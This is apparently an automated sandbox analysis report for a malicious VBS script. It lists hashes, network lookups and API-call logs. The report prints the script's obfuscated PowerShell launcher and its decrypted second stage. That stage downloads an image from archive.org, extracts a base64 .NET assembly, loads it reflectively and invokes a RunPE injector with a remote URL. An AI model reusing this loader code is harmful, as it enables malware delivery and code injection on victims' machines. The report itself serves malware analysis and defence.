popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

butterburnverysweetgirleated.gIF.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 20, 2024, 8:03 p.m. July 20, 2024, 8:06 p.m.
Size 123.0KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 612b79418bc9dee5e9bf503df55a245c
SHA256 154365daa42baad94fe2c6de17859212e407767de8f9e8e12c69b9623b63a7a0
CRC32 C80238E3
ssdeep 3072:855555555gSf55555555e55555555Y55555555655555555jYx1R55555555qy5G:855555555h55555555e55555555Y555O
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\butterburnverysweetgirleated.gIF.vbs

    3012

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI49958097433743076509724959814142CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIbxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1HabT7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmfr6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKhd+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsYo51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5RpVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOKduVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmdDw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1jI2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyOa07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZdNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqVSqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCNjKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSteAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2PUwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJCnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      1376

Name Response Post-Analysis Lookup
ia803405.us.archive.org
A 207.241.232.195
207.241.232.195
pastecode.dev
A 172.66.40.229
A 172.66.43.27
172.66.40.229
IP Address Status Action
164.124.101.2 Active Moloch
172.66.40.229 Active Moloch
207.241.232.195 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "49958097433743076509724959814142";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "bxuRBZW58D6qHa6OaTz/wPo2erEU3a8XHWrkXAdbdzTC5T84fuiWq58k3i/POU4yNFit1Hab
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: T7Ip/uUGVBt4z8Uo7htAUUgjHEN/nsapjY6CPUspvGVUGHssU+Pr5nnVpAZRUrtIGtx098n/onUN4/9
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: UdxjeWta56320IcuEKx5FBRF8BN5agrfzcPl8nWFJaCYbxALQD0pd8wcDcG7Z4qp//WpU8YzhhoHcmf
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: r6tHPpzTEfbrZwiVOvuw+/JvzsrMeYk7zZu+UUshFBQ5tqcmHnYcNcKNeVyySh7vbF4dtVBPC59rcDf
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: 45Ip8e8qgnf+f59F72C6X8w7BKmWcxDrvkgIJEdDAL8hj2Jkhtpz0sR4L4aVrWtEQPJ8yxgXf1T2rm+
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: XpdfVfU+ukTx19Jz3wEIAgQSafjf0GfBAL3e4NWDVLet9944vxSiJB8xEd7JenGiyEOtI3Y3hprPXCw
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: 66eWQhoF3a145gY3Z2R4BogKZJ5gqp0EKkBqBT9JxAuN4bfZO+TSndIjmga9njg4/qNNYfeYV/uMRKh
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: d+jYkkLNLrx6xGX9qi7fRuFbBprznkr12YuC7yJFQ2x0WsaX8X99Ti2tR/xVNE4EhJ7YWvD7ep2zjQ2
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: woL0IBVZZWRC5I63PpIH400MNDUg8N135wf5JXMORFTBbnzE6SBNiXK6moSaSigUyIRhCN3MyxeECsY
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: o51cbZ/6yqA6VLl9UwtSXFZkT6jsXN4VfMfanH4oR0pi+fnhBmdC+kor0H1eu3doM8tnX5jwkbA3g5R
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: pVHVTwpCCiK/Odz2S8a2CmmJm46STR0hWNzn3oQo1Kld1xQ+1H8hCRSAJvVgqx0wbyv5ng74HSF/sOK
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: duVg5TOulc0bAM2XZNa3NBd2k22BRcCPbE8qhywR0mDi7halZQFXAg8MkRAO0IpVULqcOhikrF+vgmd
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: Dw5nxwkSQghmqNulszxeC3Zk9uOC9fO9U2Om796d5NxN0o1Pe2Q7NqhzvPLHu7e5uzSTM6IOxVwRS1j
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: I2X4kkSFKPx5pphUxpLEKB7kQwodoqK5/vSNq9DQIjN4kBA2oWI4BLdmL0+z+59rwTBW487/tVZMEyO
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: a07ecYQeUh66aUseTs5+7zOjmEKrPtKQvkMDJnbAJKX385iV8MzoKGDBarEeSHT3Juol3DEq2A8RWkZ
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: dNDTL9gnFsG8rzPUewwTYqHynUuMh5CvZ/ZY0xv/HckoVxNKNGiY5Lzzih8SGOjMqMrXQPiaM+gvZbG
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: 3wf2VQkwyAEOH5p54L4m5O5omGT+jAdZzINuqShbK3l0wnwvp/1xtT8MQUezvxMnbqY70jjYLzsmxU+
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: mqfUDhefKjgph7AlvQ909Z5XJmZnneYUGHW/2eWRp9MDZ+jWBNcUhGoUshHAdJ9QTrZSjBiXRG6ahqV
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: SqrmyPd9m1isTmsd2uwpnR/Vv3sDR0Rpa6wRvf3FwwoHMJu7X9zC+Tub3ZCRtEYLoN5hNYt4Ci5ibCN
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: jKAfPWHRBkhpXGJ4vxdNdesz33k4eAkMZFnBRlmUTdq+SY9gKxwq+9Pt2oCH8n9g9JSH93H57AAoPSt
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: eAmN+kM8YADHtLsjfKI1n/gboID0K3ci8Im+jLfaq/isIkAQtaFeepycXL9kn3HexD3NbJAn6fY0OQ8
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: fIAKm2bi+W0vdvcXgrjypy+pLfd9B7bUz22aDOxkoZTFdRt1nVGbdgC2CCcFMLqM+ONKbDKmg2i1b2P
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: UwPHKEMYrCPj33PxTJx0uYF6FcTqZWr1FunIOIXGkRF6YnlxA91J0qtZED4hJ";$textoDescriptog
console_handle: 0x000001d3
1 1 0

WriteConsoleW

 buffer: rafado = Decrypt-AESEncryption -Base64Text $textoCriptografadoBase64 -Key $chav
console_handle: 0x000001df
1 1 0

WriteConsoleW

 buffer: e;Write-Host "Texto Descriptografado: $textoDescriptografado";Invoke-Expression
console_handle: 0x000001eb
1 1 0

WriteConsoleW

 buffer: $textoDescriptografado;
console_handle: 0x000001f7
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg', 'https://ia803405.us.archive.org/16/items/new_image_202406/new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.RHHZ/59059/121.331.161.301//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))} }
console_handle: 0x00000237
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4320
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4060
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4060
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4060
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3c60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3760
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3760
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3760
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3e20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4260
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d4120
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3820
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3820
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3f60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3a20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x002d3a20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
request GET https://pastecode.dev/raw/6l7qjjrz/paste1.txt
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02860000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1376
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1376
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02911000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02912000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ea000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026bb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026f5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026fc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1376
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026e3000
allocation_type: 4096 (MEM_COMMIT)
